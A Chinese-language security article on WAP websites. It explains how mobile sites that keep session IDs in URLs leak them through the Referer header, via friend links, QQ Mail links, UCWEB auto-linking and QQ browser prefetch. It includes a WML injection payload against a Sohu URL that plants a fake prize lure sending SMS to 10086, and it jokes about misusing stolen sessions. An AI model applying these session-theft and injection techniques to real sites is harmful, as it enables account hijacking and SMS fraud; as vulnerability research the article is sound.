<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            淺談WAP網站安全

            By kxlzx
            
            
            [摘要]
            
                本文以國內一些知名WAP服務網站安全漏洞為例,淺淺的談一下關于WAP安全的一些想法。
            
                推薦以下人群閱讀:
            	
                1. WAP開發人員
                2. WAP產品設計人員
                3. “網絡安全愛好者”
            	  
            
            [正文]
            
                這要從WEB網站的用戶認證說起,那時候我們還在用電腦。在WEB網站中,用戶的認證信
            息,都存放在COOKIE中,一旦用戶登錄了,之后對于WEB網站的訪問,瀏覽器每次自動跟隨
            請求發送出來。當手機剛開始上網,手機瀏覽器還沒有成熟,手機操作系統更加稚嫩,很多
            手機瀏覽器都不認識COOKIE,當然也不支持JavaScript。WAP網站為了留住用戶,只好使用
            在WEB網站中非常老土的認證,在頁面所有的URL連接后,加入一串SID作為下一個頁面的默
            認參數,當用戶瀏覽一次后,就跟在用戶頁面上所有的連接后,URL就會變得像這樣:
            
                http://wap.inbreak.net/default.php?sid=xxooxxooxxooxxoo
                
                你可以嘗試用手機登錄163的WAP網站(wap.163.com),之后會看到所有的連接,都跟
            了長長一串,這串中的SID參數,就是為了做認證的。黑客如果能猜到用戶登錄后那長長的
            一串的內容,直接使用自己的瀏覽器訪問,就會變成網站的認證用戶了,當然靠猜是不現實
            的。
            
                WEB網站認證信息放在COOKIE時,黑客要用XSS取到COOKIE,其實是很麻煩的,后來有了
            httponly,就更討厭了。現在WAP網站更變態,居然不支持JAVASCRIPT,那怎么才能攻擊其
            他用戶呢?
            
            
            0x01 友情鏈接安全問題
            
                在http head中,有個字段叫referer(文末尾有參考鏈接),可以取到當前請求是從哪
            一個URL過來的。
            
                使用手機瀏覽器在訪問頁面:
                
                http://wap.163.com/
            
                時看到,頁面中有個友情鏈接指向:
            
                http://wap.handbb.com/agent.jsp?f=00002910
                
                于是我們點了這個鏈接。
                
                這時瀏覽器會發送:
                
            --code-------------------------------------------------------------------------
            GET http://wap.handbb.com/agent.jsp?f=00002910 http1.1
            Host:wap.handbb.com
            Referer: http://wap.163.com/
            -------------------------------------------------------------------------------
            
                這個數據包給wap.handbb.com網站,在數據包中,有Referer字段。如果黑客能夠控制
            wap.handbb.com,就可以輕易取到所有從wap.163.com網站用戶link過來的URL。取163的URL
            做什么?
            
                如果用戶登錄了,當前用戶瀏覽器上的URL就變成了:
                
                http://wap.163.com/index.do?sid=wAsbVhmXXXXXXXATCu
            
                有多少用戶會從163點友情鏈接過來,就有多少SID,被黑客拿到后,可以直接訪問,就
            變成合法用戶了。有空我也去門戶網站做廣告。或者。。。據觀察,目前某些WAP網站風頭
            很火,到處掛鏈接,如果把它。。。
            
            
            0x02 用戶互動導致SID泄露
            
                不要動不動黑來黑去,我是愛好世界和平的,有沒有不黑網站,就能取到SID的方法呢?
            
                答案是肯定的!
                	
            	  有不少WAP網站已經慢慢發展了起來,形成了大型網站,也開出很多服務,比如論壇,
            站內消息,郵箱。在WEB安全防御中,雖然做了很多防御,但是通常也是允許大家發廣告鏈
            接的,所以站外鏈接這塊很少有防御,那如果我們能在論壇帖子內容中,插入:
            
            --code-------------------------------------------------------------------------
            <a href=“http://www.inbreak.net”>http://www.inbreak.net</a>
            -------------------------------------------------------------------------------
            
                出來,然后誘惑用戶點過去,就可以從我們自己的網站獲取用戶的SID了。最危險的莫
            過于郵箱,比如QQ郵箱就很給力(目前已經修補)。首先給用戶發個郵件,內容中加入一
            個link,具體“互動”內容就不用我說了,你懂得。
            
                當用戶使用手機瀏覽器訪問QQ郵箱,打開郵件,會看到一個鏈接。
            
                
                就是上圖中的“打開活動頁面”,只要用戶打開了,在我的服務器上,馬上獲得了這串URL:
            
            --code-------------------------------------------------------------------------
            2011-1-3 22:11:10-------------http://w34.mail.qq.com/cgi-bin/readmail?sid=
            qMXXXXXXXXXXXXXXXXXXXXXM.&disptype=html&mailid=ZC2XXXXXXXXXXXXXXXXXXX11
            &t=&conv=&p=&cmid=
            -------------------------------------------------------------------------------
            
                然后直接使用PC上的瀏覽器可以打開URL,會看到:
            
                
                顯然已經登陸過了,這就通過了QQ登錄驗證。好,下面我們開始群發QQ郵件。。。(后
            面被和諧了)
            
                像這樣用在WEB網站的郵箱里,其實是個安全的應用,但是來到了WAP的領域,它居然變
            成了漏洞。
            
            
            0x03 UCWEB瀏覽器自動生成鏈接功能引起的SID泄露
            
                上一個例子中,其實是在講QQ郵箱存在一個SID瀉露安全漏洞,QQ郵箱可以做防御,不
            允許<a>標簽,只允許文本內容是個鏈接地址即可。當瀏覽器自己出現了一些安全問題,其
            實也會導致SID被盜。
            
                大家用智能手機么?有很多比較潮流的手機,閱讀短信時,如果短信中出現了URL:
                
                http://www.inbreak.net
                
                那就可以直接點連接打開瀏覽器訪問。這是很普遍的功能,很多短信息閱讀軟件,都自
            帶這個功能。
             
                但是這個特性,如果用在手機瀏覽器上,就悲劇了!
            	
            	  下載最新的手機瀏覽器“UCWEB7.4”,我使用的是android版。這個瀏覽器有個特性,當
            頁面代碼為:
            
            --code-------------------------------------------------------------------------
            <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" 
             "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
            hacked by kxlzx
            http://www.inbreak.net
            -------------------------------------------------------------------------------
            
                這是頁面源碼,本來顯示在瀏覽器上,是一段字符文本,因為鏈接中沒有<a>標簽。WML
            和HTML標準都沒有讓它成為一個可以點擊的link,但是UCWEB卻會自動把它識別為一個鏈接。
            這導致N多無辜受害者。
            
                我們看看其中一個無辜受害者163郵箱。
            
                163郵箱以及google郵箱相對QQ郵箱,在這里還是很安全的,如果在發送郵件時,出現
            了鏈接代碼為:
            
            --code-------------------------------------------------------------------------
            <a href=http://www.inbreak.net>inbreak.net</a>
            -------------------------------------------------------------------------------
            
                它會自動使用自己的過濾模塊替換href部分,替換后結果為:
            
            --code-------------------------------------------------------------------------
            <div><a href="http://mproxy.youdao.com/proxy/jump?u=http%3A%2F%2Fwww.inbreak.net
            &amp;keyfrom=jumper.in&amp;c=TRUE&amp;j=1&amp;mx">http://www.inbreak.net<br />
            </a></div>
            -------------------------------------------------------------------------------
            
                這樣,打開URL后會由這個服務獲取inbreak.net這個網站內容,然后展示給用戶,于是
            inbreak.net網站獲取到的referer就不再是當前的URL,而是中轉站服務發送的URL。這個
            referer其實是沒有任何SID的。
            
                這個163的功能其實本身不是為了安全,而是為了“給用戶省流量費”,因為直接訪問
            HTML網站,會有大量的垃圾數據產生,所以先中轉過濾了一下,再還給用戶。
            
                但是在163郵件中,如果發的不是一個<a>標簽的鏈接,而是單純的文本文字:
                
                http://www.inbreak.net
                
                再使用UCWEB訪問看看:
            
                UCWEB仍然認為它是一個鏈接,可以直接click過去。點擊后,會看到我又抓到了SID!
            無辜的163郵箱,就這樣悲劇了。
            
                
                但是使用MiniOpera瀏覽器或android自帶瀏覽器訪問,都不會出現這個結果。它們認為
            這只是一段文字,下圖是MiniOpera訪問的結果:
            
                
                可以看到,這里顯示的那個鏈接是一個文本,不能直接點擊過去。我看到國內WAP網站
            唯一對文本URL防御好的,就是qidian網站。這個網站防御方式猥瑣,為了和諧,不顧一切
            的替換掉了”http://”后面的文本內容,當然,這不是一個好的解決方案。
            
            
            0x04 QQ瀏覽器自動預讀功能引起的SID泄露
            
                可能有讀者跑去給163發郵件推廣UCWEB了,別急啊,這兒有個更好玩的瀏覽器。在QQ手
            機瀏覽器中有個功能,叫做“智能預讀”(手機QQ瀏覽器1.3(Android)),默認是開啟功能
            的。下圖:
            
             
                這個功能也是一個新型的業務,專門用于看新聞,看小說的,我們翻翻介紹:“智能預
            讀:當您在瀏覽當前頁面時,瀏覽器后臺自動讀取下一個 頁面,讓您進入下一個頁面完全
            沒有網絡延時”。我很喜歡這個功能,它可以在看新聞時,網速奇快。
            
                在前文我們講到,如果我們能在頁面上定義一個鏈接,一旦用戶點擊,就可以竊取到
            SID號。正是這種攻擊,在這里被發揮的淋漓盡致。
            
                http://www.inbreak.net/?SID=XXXXXXX
            
                這個URL打開后,可以看到如下頁面源碼:
            
            --code-------------------------------------------------------------------------
            <?xml version="1.0" encoding="utf-8"?> 
            <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" 
             "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
            <html>
            <body>
            <a href="http://www.baidu.com">下頁</a>
            </body>
            </html>
            -------------------------------------------------------------------------------
            
                注意加粗的,只要代碼中的鏈接顯示名叫做“下頁”,抓包看看做了什么:
            
                果然自動扔到baidu那邊去了,referer中帶著SID!真的智能啊!
                
                前面打算發郵件的同學,快去改鏈接顯示名吧,居然還在想郵件“互動”內容么?你
            out了,只要可以在用戶打開的頁面中,出現這個,就不需要用戶去點了,他只要看了郵件,
            我們就有SID。
            
                這個功能真的是漏洞么?
                
                個人認為,在這么優秀的功能面前,神馬都是浮云。如果真的要用安全來限制,就在
            referer中,去掉鏈接參數,或者直接干掉referer字段就可以了。
            
            
            0x05 WML注入攻擊誘騙用戶發短信
            
                在WAP服務中,并不是所有瀏覽器都支持Java Script,所以XSS漏洞就顯得非常低調
            (當然遇到支持JS的瀏覽器,也并不是沒有用處,這里不談XSS),但是卻給了WML注入的機
            會。這還是要從漏洞的利用價值談起,我們既然拿著手機在上網,利用漏洞的手段也應該回
            歸真實環境。打電話、發短信是我們最常用的聯系功能,如果能讓用戶發短信過來,或許很
            多黑心商家就可以收費了,很多短信服務,都是不小心發了個“A”到某號碼才扣費的。那
            些國產的山寨機很多自帶這個服務,喜歡的朋友可以買來體驗下:)
            
                搜狐的WAP服務存在這樣一個漏洞,看這個鏈接:
                
            --code-------------------------------------------------------------------------
            http://news.wap.sohu.com/user/index.php?op=getpwd1&backurl="/></go></anchor>
            <a href="sms:10086?body=我是豬"><big>恭喜您隨機獲得1等獎!
            點這里發送免費短信“我是豬”到10086,填寫中獎信息!</big></a><anchor>
            <go href="aa"><postfield name="account" 
            value="&uID=-ByGdGpCsaolAAAA&uuid=1wgsb0c139aklAADA
            -------------------------------------------------------------------------------
            
                使用手機訪問:
            
                
                比原來的頁面多了這樣一行鏈接,點“恭喜您隨機獲得1等獎!點這里發送免費短信
            “我是豬”到10086,填寫中獎信息!”這段文字,手機瀏覽器會自動調用短信軟件,打開
            短信發送頁面,誘惑用戶發送“免費”短信。
            
                在短信鏈接中,設置為“sms:10086?body=我是豬”,默認短信內容就有了,用戶只要
            方便的點擊“發送”即可。
            
                
            
            0x06 短信接口漏洞利用
            
                讓門戶網站官方發送的短信詐騙,可以參考我的另一篇文章,如果是某大型門戶網站給
            用戶發條中獎和登錄的短信,一定會起到有趣的效果。
            
                詳見附錄[2]。
                
                
            0x07 新的業務,新的方向
            
                我們最后不談安全,說下瀏覽器功能。在PC上,瀏覽器的功能,幾乎都已經固定了,市
            場也早就被幾位大牛霸占。而wap瀏覽器卻剛剛開始發展,值得去研究下,它們會搞出來很
            多奇奇怪怪的功能。并且在國內就這點最傻,喜歡山寨,看別人做了什么,自己趕快搞出來,
            學個四不像不說,還很有可能把安全功能掐調,以后關注下說不定就有好玩的出來。
            
                至于各個問題的解決方案,其實本文都已經提及了,就不做最后總結了。WAP安全才剛
            剛起步,這里僅僅提及了個開頭,還有很有意思的等待大家發掘。我也在學習中,歡迎大家
            互相交流。
            
            
            0x08 附錄
            
            [1] HTTP Referer http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.36
            [2] 淺談短信接口安全 http://www.inbreak.net/?action=show&id=158
            [3] 作者BLOG http://www.inbreak.net
            
            感謝幻影WebZine
            http://webzine.ph4nt0m.org/
            
            空虛浪子心 QQ:4700012
            郵箱 4700012#qq.com
            
            附件下載
            -EOF-
            
            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线